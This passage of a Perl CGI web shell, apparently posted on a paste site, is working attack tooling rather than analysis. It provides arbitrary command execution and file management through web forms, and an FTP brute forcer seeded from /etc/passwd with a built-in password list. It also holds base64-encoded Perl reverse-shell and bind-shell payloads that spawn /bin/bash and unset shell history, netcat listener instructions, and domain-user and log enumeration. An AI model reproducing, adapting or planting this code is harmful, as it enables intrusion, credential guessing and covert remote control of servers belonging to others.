  880. $Command .= " |";
  881. open(CommandOutput, $Command);
  882. while(<CommandOutput>)
  883. {
  884. $_ =~ s/(\n|\r\n)$//;
  885. $result .= &HtmlSpecialChars("$_\n");
  886. }
  887. $|=0;
  888. }
  889. else # show output after command completes
  890. {
  891. $result .= &HtmlSpecialChars('$Command');
  892. }
  893. if(!$WinNT)
  894. {
  895. alarm(0);
  896. }
  897. return $result;
  898. }
  899. #==============================================================================
  900. # Form Save File
  901. #==============================================================================
  902. sub SaveFileForm
  903. {
  904. my $result ="";
  905. substr($RunCommand,0,5)="";
  906. my $file=&trim($RunCommand);
  907. $save='<br><input name="a" type="submit" value="save" class="submit" >';
  908. $File=$CurrentDir.$PathSep.$RunCommand;
  909. my $dir="<span style='font: 11pt Verdana; font-weight: bold;'>".&AddLinkDir("gui")."</span>";
  910. if(-w $File)
  911. {
  912. $rows="23"
  913. }else
  914. {
  915. $msg="<br><font style='font: 15pt Verdana; color: yellow;' > Permission denied!<font><br>";
  916. $rows="20"
  917. }
  918. $Prompt = $WinNT ? "$dir > " : "<font color='#FFFFFF'>[admin\@$ServerName $dir]\$</font> ";
  919. $read=($WinNT)?"type":"less";
  920. $RunCommand = "$read \"$RunCommand\"";
  921. $result .= <<END;
  922. <form name="f" method="POST" action="$ScriptLocation">
  923.  
  924. <input type="hidden" name="d" value="$CurrentDir">
  925. $Prompt
  926. <input type="text" size="40" name="c">
  927. <input name="s" class="submit" type="submit" value="Enter">
  928. <br>Command: <run> $RunCommand </run>
  929. <input type="hidden" name="file" value="$file" > $save <br> $msg
  930. <br><textarea id="data" name="data" cols="$cols" rows="$rows" spellcheck="false">
  931. END
  932.  
  933. $result .= &RunCmd;
  934. $result .= "</textarea>";
  935. $result .= "</form>";
  936. return $result;
  937. }
  938. #==============================================================================
  939. # Save File
  940. #==============================================================================
  941. sub SaveFile($)
  942. {
  943. my $Data= shift ;
  944. my $File= shift;
  945. $File=$CurrentDir.$PathSep.$File;
  946. if(open(FILE, ">$File"))
  947. {
  948. binmode FILE;
  949. print FILE $Data;
  950. close FILE;
  951. return 1;
  952. }else
  953. {
  954. return 0;
  955. }
  956. }
  957. #------------------------------------------------------------------------------
  958. # Brute Forcer Form
  959. #------------------------------------------------------------------------------
  960. sub BruteForcerForm
  961. {
  962. my $result="";
  963. $result .= <<END;
  964.  
  965. <table>
  966.  
  967. <tr>
  968. <td colspan="2" align="center">
  969. ####################################<br>
  970. Simple FTP brute forcer<br>
  971. ####################################
  972. <form name="f" method="POST" action="$ScriptLocation">
  973.  
  974. <input type="hidden" name="a" value="bruteforcer"/>
  975. </td>
  976. </tr>
  977. <tr>
  978. <td>User:<br><textarea rows="18" cols="30" name="user">
  979. END
  980. chop($result .= `less /etc/passwd | cut -d: -f1`);
  981. $result .= <<'END';
  982. </textarea></td>
  983. <td>
  984.  
  985. Pass:<br>
  986. <textarea rows="18" cols="30" name="pass">123pass
  987. 123!@#
  988. 123admin
  989. 123abc
  990. 123456admin
  991. 1234554321
  992. 12344321
  993. pass123
  994. admin
  995. admincp
  996. administrator
  997. matkhau
  998. passadmin
  999. p@ssword
  1000. p@ssw0rd
  1001. password
  1002. 123456
  1003. 1234567
  1004. 12345678
  1005. 123456789
  1006. 1234567890
  1007. 111111
  1008. 000000
  1009. 222222
  1010. 333333
  1011. 444444
  1012. 555555
  1013. 666666
  1014. 777777
  1015. 888888
  1016. 999999
  1017. 123123
  1018. 234234
  1019. 345345
  1020. 456456
  1021. 567567
  1022. 678678
  1023. 789789
  1024. 123321
  1025. 456654
  1026. 654321
  1027. 7654321
  1028. 87654321
  1029. 987654321
  1030. 0987654321
  1031. admin123
  1032. admin123456
  1033. abcdef
  1034. abcabc
  1035. !@#!@#
  1036. !@#$%^
  1037. !@#$%^&*(
  1038. !@#$$#@!
  1039. abc123
  1040. anhyeuem
  1041. iloveyou</textarea>
  1042. </td>
  1043. </tr>
  1044. <tr>
  1045. <td colspan="2" align="center">
  1046. Sleep:<select name="sleep">
  1047.  
  1048. <option>0</option>
  1049. <option>1</option>
  1050. <option>2</option>
  1051.  
  1052. <option>3</option>
  1053. </select>
  1054. <input type="submit" class="submit" value="Brute Forcer"/></td></tr>
  1055. </form>
  1056. </table>
  1057. END
  1058. return $result;
  1059. }
  1060. #------------------------------------------------------------------------------
  1061. # Brute Forcer
  1062. #------------------------------------------------------------------------------
  1063. sub BruteForcer
  1064. {
  1065. my $result="";
  1066. $Server=$ENV{'SERVER_ADDR'};
  1067. if($in{'user'} eq "")
  1068. {
  1069. $result .= &BruteForcerForm;
  1070. }else
  1071. {
  1072. use Net::FTP;
  1073. @user= split(/\n/, $in{'user'});
  1074. @pass= split(/\n/, $in{'pass'});
  1075. chomp(@user);
  1076. chomp(@pass);
  1077. $result .= "<br><br>[+] Trying brute $ServerName<br>====================>>>>>>>>>>>><<<<<<<<<<====================<br><br>\n";
  1078. foreach $username (@user)
  1079. {
  1080. if(!($username eq ""))
  1081. {
  1082. foreach $password (@pass)
  1083. {
  1084. $ftp = Net::FTP->new($Server) or die "Could not connect to $ServerName\n";
  1085. if($ftp->login("$username","$password"))
  1086. {
  1087. $result .= "<a target='_blank' href='ftp://$username:$password\@$Server'>[+] ftp://$username:$password\@$Server</a><br>\n";
  1088. $ftp->quit();
  1089. break;
  1090. }
  1091. if(!($in{'sleep'} eq "0"))
  1092. {
  1093. sleep(int($in{'sleep'}));
  1094. }
  1095. $ftp->quit();
  1096. }
  1097. }
  1098. }
  1099. $result .= "\n<br>==========>>>>>>>>>> Finished <<<<<<<<<<==========<br>\n";
  1100. }
  1101. return $result;
  1102. }
  1103. #------------------------------------------------------------------------------
  1104. # Backconnect Form
  1105. #------------------------------------------------------------------------------
  1106. sub BackBindForm
  1107. {
  1108. return <<END;
  1109. <br><br>
  1110.  
  1111. <table>
  1112. <tr>
  1113. <form name="f" method="POST" action="$ScriptLocation">
  1114. <td>BackConnect: <input type="hidden" name="a" value="backbind"></td>
  1115. <td> Host: <input type="text" size="20" name="clientaddr" value="$ENV{'REMOTE_ADDR'}">
  1116. Port: <input type="text" size="7" name="clientport" value="80" onkeyup="document.getElementById('ba').innerHTML=this.value;"></td>
  1117.  
  1118. <td><input name="s" class="submit" type="submit" name="submit" value="Connect"></td>
  1119. </form>
  1120. </tr>
  1121. <tr>
  1122. <td colspan=3><font color=#FFFFFF>[+] Client listen before connect back!
  1123. <br>[+] Try check your Port with <a target="_blank" href="http://www.canyouseeme.org/">http://www.canyouseeme.org/</a>
  1124. <br>[+] Client listen with command: <run>nc -vv -l -p <span id="ba">80</span></run></font></td>
  1125.  
  1126. </tr>
  1127. </table>
  1128.  
  1129. <br><br>
  1130. <table>
  1131. <tr>
  1132. <form method="POST" action="$ScriptLocation">
  1133. <td>Bind Port: <input type="hidden" name="a" value="backbind"></td>
  1134.  
  1135. <td> Port: <input type="text" size="15" name="clientport" value="1412" onkeyup="document.getElementById('bi').innerHTML=this.value;">
  1136.  
  1137. Password: <input type="text" size="15" name="bindpass" value="THIEUGIABUON"></td>
  1138. <td><input name="s" class="submit" type="submit" name="submit" value="Bind"></td>
  1139. </form>
  1140. </tr>
  1141. <tr>
  1142. <td colspan=3><font color=#FFFFFF>[+] Chuc nang chua dc test!
  1143. <br>[+] Try command: <run>nc $ENV{'SERVER_ADDR'} <span id="bi">1412</span></run></font></td>
  1144.  
  1145. </tr>
  1146. </table><br>
  1147. END
  1148. }
  1149. #------------------------------------------------------------------------------
  1150. # Backconnect use perl
  1151. #------------------------------------------------------------------------------
  1152. sub BackBind
  1153. {
  1154. use MIME::Base64;
  1155. use Socket;
  1156. $backperl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgSU86OlNvY2tldDsNCiRTaGVsbAk9ICIvYmluL2Jhc2giOw0KJEFSR0M9QEFSR1Y7DQp1c2UgU29ja2V0Ow0KdXNlIEZpbGVIYW5kbGU7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoInRjcCIpKSBvciBkaWUgcHJpbnQgIlstXSBVbmFibGUgdG8gUmVzb2x2ZSBIb3N0XG4iOw0KY29ubmVjdChTT0NLRVQsIHNvY2thZGRyX2luKCRBUkdWWzFdLCBpbmV0X2F0b24oJEFSR1ZbMF0pKSkgb3IgZGllIHByaW50ICJbLV0gVW5hYmxlIHRvIENvbm5lY3QgSG9zdFxuIjsNCnByaW50ICJDb25uZWN0ZWQhIjsNClNPQ0tFVC0+YXV0b2ZsdXNoKCk7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCI+JlNPQ0tFVCIpOw0Kb3BlbihTVERFUlIsIj4mU09DS0VUIik7DQpwcmludCAiLS09PSBDb25uZWN0ZWQgQmFja2Rvb3IgPT0tLSAgXG5cbiI7DQpzeXN0ZW0oInVuc2V0IEhJU1RGSUxFOyB1bnNldCBTQVZFSElTVCA7ZWNobyAnWytdIFN5c3RlbWluZm86ICc7IHVuYW1lIC1hO2VjaG87ZWNobyAnWytdIFVzZXJpbmZvOiAnOyBpZDtlY2hvO2VjaG8gJ1srXSBEaXJlY3Rvcnk6ICc7IHB3ZDtlY2hvOyBlY2hvICdbK10gU2hlbGw6ICc7JFNoZWxsIik7DQpjbG9zZSBTT0NLRVQ7";
  1157. $bindperl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJEFSR0M9QEFSR1Y7DQokcG9ydAk9ICRBUkdWWzBdOw0KJHByb3RvCT0gZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0KJFNoZWxsCT0gIi9iaW4vYmFzaCI7DQpzb2NrZXQoU0VSVkVSLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKW9yIGRpZSAic29ja2V0OiQhIjsNCnNldHNvY2tvcHQoU0VSVkVSLCBTT0xfU09DS0VULCBTT19SRVVTRUFERFIsIHBhY2soImwiLCAxKSlvciBkaWUgInNldHNvY2tvcHQ6ICQhIjsNCmJpbmQoU0VSVkVSLCBzb2NrYWRkcl9pbigkcG9ydCwgSU5BRERSX0FOWSkpb3IgZGllICJiaW5kOiAkISI7DQpsaXN0ZW4oU0VSVkVSLCBTT01BWENPTk4pCQlvciBkaWUgImxpc3RlbjogJCEiOw0KZm9yKDsgJHBhZGRyID0gYWNjZXB0KENMSUVOVCwgU0VSVkVSKTsgY2xvc2UgQ0xJRU5UKQ0Kew0KCW9wZW4oU1RESU4sICI+JkNMSUVOVCIpOw0KCW9wZW4oU1RET1VULCAiPiZDTElFTlQiKTsNCglvcGVuKFNUREVSUiwgIj4mQ0xJRU5UIik7DQoJc3lzdGVtKCJ1bnNldCBISVNURklMRTsgdW5zZXQgU0FWRUhJU1QgO2VjaG8gJ1srXSBTeXN0ZW1pbmZvOiAnOyB1bmFtZSAtYTtlY2hvO2VjaG8gJ1srXSBVc2VyaW5mbzogJzsgaWQ7ZWNobztlY2hvICdbK10gRGlyZWN0b3J5OiAnOyBwd2Q7ZWNobzsgZWNobyAnWytdIFNoZWxsOiAnOyRTaGVsbCIpOw0KCWNsb3NlKFNURElOKTsNCgljbG9zZShTVERPVVQpOw0KCWNsb3NlKFNUREVSUik7DQp9DQo=";
  1158.  
  1159. $ClientAddr = $in{'clientaddr'};
  1160. $ClientPort = int($in{'clientport'});
  1161. if($ClientPort eq 0)
  1162. {
  1163. return &BackBindForm;
  1164. }elsif(!$ClientAddr eq "")
  1165. {
  1166. $Data=decode_base64($backperl);
  1167. if(-w "/tmp/")
  1168. {
  1169. $File="/tmp/backconnect.pl";
  1170. }else
  1171. {
  1172. $File=$CurrentDir.$PathSep."backconnect.pl";
  1173. }
  1174. open(FILE, ">$File");
  1175. print FILE $Data;
  1176. close FILE;
  1177. system("perl backconnect.pl $ClientAddr $ClientPort");
  1178. unlink($File);
  1179. exit 0;
  1180. }else
  1181. {
  1182. $Data=decode_base64($bindperl);
  1183. if(-w "/tmp")
  1184. {
  1185. $File="/tmp/bindport.pl";
  1186. }else
  1187. {
  1188. $File=$CurrentDir.$PathSep."bindport.pl";
  1189. }
  1190. open(FILE, ">$File");
  1191. print FILE $Data;
  1192. close FILE;
  1193. system("perl bindport.pl $ClientPort");
  1194. unlink($File);
  1195. exit 0;
  1196. }
  1197. }
  1198. #------------------------------------------------------------------------------
  1199. # Array List Directory
  1200. #------------------------------------------------------------------------------
  1201. sub RmDir($)
  1202. {
  1203. my $dir = shift;
  1204. if(opendir(DIR,$dir))
  1205. {
  1206. while($file = readdir(DIR))
  1207. {
  1208. if(($file ne ".") && ($file ne ".."))
  1209. {
  1210. $file= $dir.$PathSep.$file;
  1211. if(-d $file)
  1212. {
  1213. &RmDir($file);
  1214. }
  1215. else
  1216. {
  1217. unlink($file);
  1218. }
  1219. }
  1220. }
  1221. closedir(DIR);
  1222. }
  1223. if(!rmdir($dir))
  1224. {
  1225.  
  1226. }
  1227. }
  1228. sub FileOwner($)
  1229. {
  1230. my $file = shift;
  1231. if(-e $file)
  1232. {
  1233. ($uid,$gid) = (stat($file))[4,5];
  1234. if($WinNT)
  1235. {
  1236. return "???";
  1237. }
  1238. else
  1239. {
  1240. $name=getpwuid($uid);
  1241. $group=getgrgid($gid);
  1242. return $name."/".$group;
  1243. }
  1244. }
  1245. return "???";
  1246. }
  1247. sub ParentFolder($)
  1248. {
  1249. my $path = shift;
  1250. my $Comm = "cd \"$CurrentDir\"".$CmdSep."cd ..".$CmdSep.$CmdPwd;
  1251. chop($path = `$Comm`);
  1252. return $path;
  1253. }
  1254. sub FilePerms($)
  1255. {
  1256. my $file = shift;
  1257. my $ur = "-";
  1258. my $uw = "-";
  1259. if(-e $file)
  1260. {
  1261. if($WinNT)
  1262. {
  1263. if(-r $file){ $ur = "r"; }
  1264. if(-w $file){ $uw = "w"; }
  1265. return $ur . " / " . $uw;
  1266. }else
  1267. {
  1268. $mode=(stat($file))[2];
  1269. $result = sprintf("%04o", $mode & 07777);
  1270. return $result;
  1271. }
  1272. }
  1273. return "0000";
  1274. }
  1275. sub FileLastModified($)
  1276. {
  1277. my $file = shift;
  1278. if(-e $file)
  1279. {
  1280. ($la) = (stat($file))[9];
  1281. ($d,$m,$y,$h,$i) = (localtime($la))[3,4,5,2,1];
  1282. $y = $y + 1900;
  1283. @month = qw/1 2 3 4 5 6 7 8 9 10 11 12/;
  1284. $lmtime = sprintf("%02d/%s/%4d %02d:%02d",$d,$month[$m],$y,$h,$i);
  1285. return $lmtime;
  1286. }
  1287. return "???";
  1288. }
  1289. sub FileSize($)
  1290. {
  1291. my $file = shift;
  1292. if(-f $file)
  1293. {
  1294. return -s $file;
  1295. }
  1296. return "0";
  1297.  
  1298. }
  1299. sub ParseFileSize($)
  1300. {
  1301. my $size = shift;
  1302. if($size <= 1024)
  1303. {
  1304. return $size. " B";
  1305. }
  1306. else
  1307. {
  1308. if($size <= 1024*1024)
  1309. {
  1310. $size = sprintf("%.02f",$size / 1024);
  1311. return $size." KB";
  1312. }
  1313. else
  1314. {
  1315. $size = sprintf("%.2f",$size / 1024 / 1024);
  1316. return $size." MB";
  1317. }
  1318. }
  1319. }
  1320. sub trim($)
  1321. {
  1322. my $string = shift;
  1323. $string =~ s/^\s+//;
  1324. $string =~ s/\s+$//;
  1325. return $string;
  1326. }
  1327. sub AddSlashes($)
  1328. {
  1329. my $string = shift;
  1330. $string=~ s/\\/\\\\/g;
  1331. return $string;
  1332. }
  1333. sub ListDir
  1334. {
  1335. my $path = $CurrentDir.$PathSep;
  1336. $path=~ s/\\\\/\\/g;
  1337. my $result = "<form name='f' action='$ScriptLocation'><span style='font: 11pt Verdana; font-weight: bold;'>Path: [ ".&AddLinkDir("gui")." ] </span><input type='text' name='d' size='40' value='$CurrentDir' /><input type='hidden' name='a' value='gui'><input class='submit' type='submit' value='Change'></form>";
  1338. if(-d $path)
  1339. {
  1340. my @fname = ();
  1341. my @dname = ();
  1342. if(opendir(DIR,$path))
  1343. {
  1344. while($file = readdir(DIR))
  1345. {
  1346. $f=$path.$file;
  1347. if(-d $f)
  1348. {
  1349. push(@dname,$file);
  1350. }
  1351. else
  1352. {
  1353. push(@fname,$file);
  1354. }
  1355. }
  1356. closedir(DIR);
  1357. }
  1358. @fname = sort { lc($a) cmp lc($b) } @fname;
  1359. @dname = sort { lc($a) cmp lc($b) } @dname;
  1360. $result .= "<div><table width='90%' class='listdir'>
  1361.  
  1362. <tr style='background-color: #3e3e3e'><th>File Name</th>
  1363. <th style='width:100px;'>File Size</th>
  1364. <th style='width:150px;'>Owner</th>
  1365. <th style='width:100px;'>Permission</th>
  1366. <th style='width:150px;'>Last Modified</th>
  1367. <th style='width:260px;'>Action</th></tr>";
  1368. my $style="line";
  1369. my $i=0;
  1370. foreach my $d (@dname)
  1371. {
  1372. $style= ($style eq "line") ? "notline": "line";
  1373. $d = &trim($d);
  1374. $dirname=$d;
  1375. if($d eq "..")
  1376. {
  1377. $d = &ParentFolder($path);
  1378. }
  1379. elsif($d eq ".")
  1380. {
  1381. $d = $path;
  1382. }
  1383. else
  1384. {
  1385. $d = $path.$d;
  1386. }
  1387. $result .= "<tr class='$style'>
  1388.  
  1389. <td id='File_$i' style='font: 11pt Verdana; font-weight: bold;'><a href='?a=gui&d=".$d."'>[ ".$dirname." ]</a></td>";
  1390. $result .= "<td>DIR</td>";
  1391. $result .= "<td style='text-align:center;'>".&FileOwner($d)."</td>";
  1392. $result .= "<td id='FilePerms_$i' style='text-align:center;' ondblclick=\"rm_chmod_form(this,".$i.",'".&FilePerms($d)."','".$dirname."')\" ><span onclick=\"chmod_form(".$i.",'".$dirname."')\" >".&FilePerms($d)."</span></td>";
  1393. $result .= "<td style='text-align:center;'>".&FileLastModified($d)."</td>";
  1394. $result .= "<td style='text-align:center;'><a href='javascript:return false;' onclick=\"rename_form($i,'$dirname','".&AddSlashes(&AddSlashes($d))."')\">Rename</a> | <a onclick=\"if(!confirm('Remove dir: $dirname ?')) { return false;}\" href='?a=gui&d=$path&remove=$dirname'>Remove</a></td>";
  1395. $result .= "</tr>";
  1396. $i++;
  1397. }
  1398. foreach my $f (@fname)
  1399. {
  1400. $style= ($style eq "line") ? "notline": "line";
  1401. $file=$f;
  1402. $f = $path.$f;
  1403. $view = "?dir=".$path."&view=".$f;
  1404. $result .= "<tr class='$style'><td id='File_$i' style='font: 11pt Verdana;'><a href='?a=command&d=".$path."&c=edit%20".$file."'>".$file."</a></td>";
  1405. $result .= "<td>".&ParseFileSize(&FileSize($f))."</td>";
  1406. $result .= "<td style='text-align:center;'>".&FileOwner($f)."</td>";
  1407. $result .= "<td id='FilePerms_$i' style='text-align:center;' ondblclick=\"rm_chmod_form(this,".$i.",'".&FilePerms($f)."','".$file."')\" ><span onclick=\"chmod_form($i,'$file')\" >".&FilePerms($f)."</span></td>";
  1408. $result .= "<td style='text-align:center;'>".&FileLastModified($f)."</td>";
  1409. $result .= "<td style='text-align:center;'><a href='?a=command&d=".$path."&c=edit%20".$file."'>Edit</a> | <a href='javascript:return false;' onclick=\"rename_form($i,'$file','f')\">Rename</a> | <a href='?a=download&o=go&f=".$f."'>Download</a> | <a onclick=\"if(!confirm('Remove file: $file ?')) { return false;}\" href='?a=gui&d=$path&remove=$file'>Remove</a></td>";
  1410. $result .= "</tr>";
  1411. $i++;
  1412. }
  1413. $result .= "</table></div>";
  1414. }
  1415. return $result;
  1416. }
  1417. #------------------------------------------------------------------------------
  1418. # Try to View List User
  1419. #------------------------------------------------------------------------------
  1420. sub ViewDomainUser
  1421. {
  1422. open (domains, '/etc/named.conf') or $err=1;
  1423. my @cnzs = <domains>;
  1424. close d0mains;
  1425. my $style="line";
  1426. my $result="<h5><font style='font: 15pt Verdana;color: #ff9900;'>Hoang Sa - Truong Sa</font></h5>";
  1427. if ($err)
  1428. {
  1429. $result .= ('<p>C0uldn\'t Bypass it , Sorry</p>');
  1430. return $result;
  1431. }else
  1432. {
  1433. $result .= '<table><tr><th>Domains</th> <th>User</th></tr>';
  1434. }
  1435. foreach my $one (@cnzs)
  1436. {
  1437. if($one =~ m/.*?zone "(.*?)" {/)
  1438. {
  1439. $style= ($style eq "line") ? "notline": "line";
  1440. $filename= "/etc/valiases/".$one;
  1441. $owner = getpwuid((stat($filename))[4]);
  1442. $result .= '<tr class="$style" width=50%><td>'.$one.' </td><td> '.$owner.'</td></tr>';
  1443. }
  1444. }
  1445. $result .= '</table>';
  1446. return $result;
  1447. }
  1448. #------------------------------------------------------------------------------
  1449. # View Log
  1450. #------------------------------------------------------------------------------
  1451. sub ViewLog
  1452. {
  1453. if($WinNT)
  1454. {
  1455. return "<h2><font style='font: 20pt Verdana;color: #ff9900;'>Don't run on Windows</font></h2>";
  1456. }
  1457. my $result="<table><tr><th>Path Log</th><th>Submit</th></tr>";
  1458. my @pathlog=(
  1459. '/usr/local/apache/logs/error_log',
  1460. '/var/log/httpd/error_log',
  1461. '/usr/local/apache/logs/access_log'
  1462. );
  1463. my $i=0;
  1464. my $perms;
  1465. my $sl;
  1466. foreach my $log (@pathlog)
  1467. {
  1468. if(-w $log)
  1469. {
  1470. $perms="OK";
  1471. }else
  1472. {
  1473. chop($sl = `ln -s $log error_log_$i`);
  1474. if(&trim($ls) eq "")
  1475. {
  1476. if(-r $ls)
  1477. {
  1478. $perms="OK";
  1479. $log="error_log_".$i;
  1480. }
  1481. }else
  1482. {
  1483. $perms="<font style='color: red;'>Cancel<font>";
  1484. }
  1485. }
  1486. $result .=<<END;
  1487. <tr>
  1488.  
  1489. <form action="" method="post">
  1490. <td><input type="text" onkeyup="document.getElementById('log_$i').value='less ' + this.value;" value="$log" size='50'/></td>
  1491. <td><input class="submit" type="submit" value="Try" /></td>
  1492. <input type="hidden" id="log_$i" name="c" value="less $log"/>
  1493. <input type="hidden" name="a" value="command" />
  1494. <input type="hidden" name="d" value="$CurrentDir" />
  1495. </form>
  1496. <td>$perms</td>
  1497.  
  1498. </tr>
  1499. END
  1500. $i++;
  1501. }
  1502. $result .="</table>";
  1503. return $result;
  1504. }
  1505. #------------------------------------------------------------------------------
  1506. # Main Program - Execution Starts Here
  1507. #------------------------------------------------------------------------------
  1508. &ReadParse;
  1509. &GetCookies;
  1510.  
  1511. $ScriptLocation = $ENV{'SCRIPT_NAME'};
  1512. $ServerName = $ENV{'SERVER_NAME'};
  1513. $LoginPassword = $in{'p'};
  1514. $RunCommand = $in{'c'};
  1515. $TransferFile = $in{'f'};
  1516. $Options = $in{'o'};
  1517. $Action = $in{'a'};
  1518.  
  1519. $Action = "command" if($Action eq ""); # no action specified, use default
  1520.  
  1521. # get the directory in which the commands will be executed
  1522. $CurrentDir = &trim($in{'d'});
  1523. # mac dinh xuat thong tin neu ko co lenh nao!
  1524. $RunCommand= $WinNT?"dir":"dir -lia" if($RunCommand eq "");
  1525. chop($CurrentDir = `$CmdPwd`) if($CurrentDir eq "");
  1526.  
  1527. $LoggedIn = $Cookies{'SAVEDPWD'} eq $Password;
  1528.  
  1529. if($Action eq "login" || !$LoggedIn) # user needs/has to login
  1530. {
  1531. &PerformLogin;
  1532. }elsif($Action eq "gui") # GUI directory
  1533. {
  1534. &PrintPageHeader;
  1535. if(!$WinNT)
  1536. {
  1537. $chmod=int($in{'chmod'});
  1538. if(!($chmod eq 0))
  1539. {
  1540. $chmod=int($in{'chmod'});
  1541. $file=$CurrentDir.$PathSep.$TransferFile;
  1542. chop($result= `chmod $chmod "$file"`);
  1543. if(&trim($result) eq "")
  1544. {
  1545. print "<run> Done! </run><br>";
  1546. }else
  1547. {
  1548. print "<run> Sorry! You dont have permissions! </run><br>";
  1549. }
  1550. }
  1551. }
  1552. $rename=$in{'rename'};
  1553. if(!$rename eq "")
  1554. {
  1555. if(rename($TransferFile,$rename))
  1556. {
  1557. print "<run> Done! </run><br>";
  1558. }else
  1559. {
  1560. print "<run> Sorry! You dont have permissions! </run><br>";
  1561. }
  1562. }
  1563. $remove=$in{'remove'};
  1564. if($remove ne "")
  1565. {
  1566. $rm = $CurrentDir.$PathSep.$remove;
  1567. if(-d $rm)
  1568. {
  1569. &RmDir($rm);
  1570. }else
  1571. {
  1572. if(unlink($rm))
  1573. {
  1574. print "<run> Done! </run><br>";
  1575. }else
  1576. {
  1577. print "<run> Sorry! You dont have permissions! </run><br>";
  1578. }
  1579. }
  1580. }
  1581. print &ListDir;
  1582.  
  1583. }
  1584. elsif($Action eq "command") # user wants to run a command
  1585. {
  1586. &PrintPageHeader("c");
  1587. print &ExecuteCommand;
  1588. }
  1589. elsif($Action eq "save") # user wants to save a file
  1590. {
  1591. &PrintPageHeader;
  1592. if(&SaveFile($in{'data'},$in{'file'}))
  1593. {
  1594. print "<run> Done! </run><br>";
  1595. }else
  1596. {
  1597. print "<run> Sorry! You dont have permissions! </run><br>";
  1598. }
  1599. print &ListDir;
  1600. }
  1601. elsif($Action eq "upload") # user wants to upload a file
  1602. {
  1603. &PrintPageHeader;
  1604.  
  1605. print &UploadFile;
  1606. }
  1607. elsif($Action eq "backbind") # user wants to back connect or bind port
  1608. {
  1609. &PrintPageHeader("clientport");
  1610. print &BackBind;
  1611. }
  1612. elsif($Action eq "bruteforcer") # user wants to brute force
  1613. {
  1614. &PrintPageHeader;
  1615. print &BruteForcer;
  1616. }elsif($Action eq "download") # user wants to download a file
  1617. {
  1618. print &DownloadFile;
  1619. }elsif($Action eq "checklog") # user wants to view log file
  1620. {
  1621. &PrintPageHeader;
  1622. print &ViewLog;
  1623.  
  1624. }elsif($Action eq "domainsuser") # user wants to view list user/domain
  1625. {
  1626. &PrintPageHeader;
  1627. print &ViewDomainUser;
  1628. }elsif($Action eq "logout") # user wants to logout
  1629. {
  1630. &PerformLogout;
  1631. }
  1632. &PrintPageFooter;
Add Comment
Please, Sign In to add comment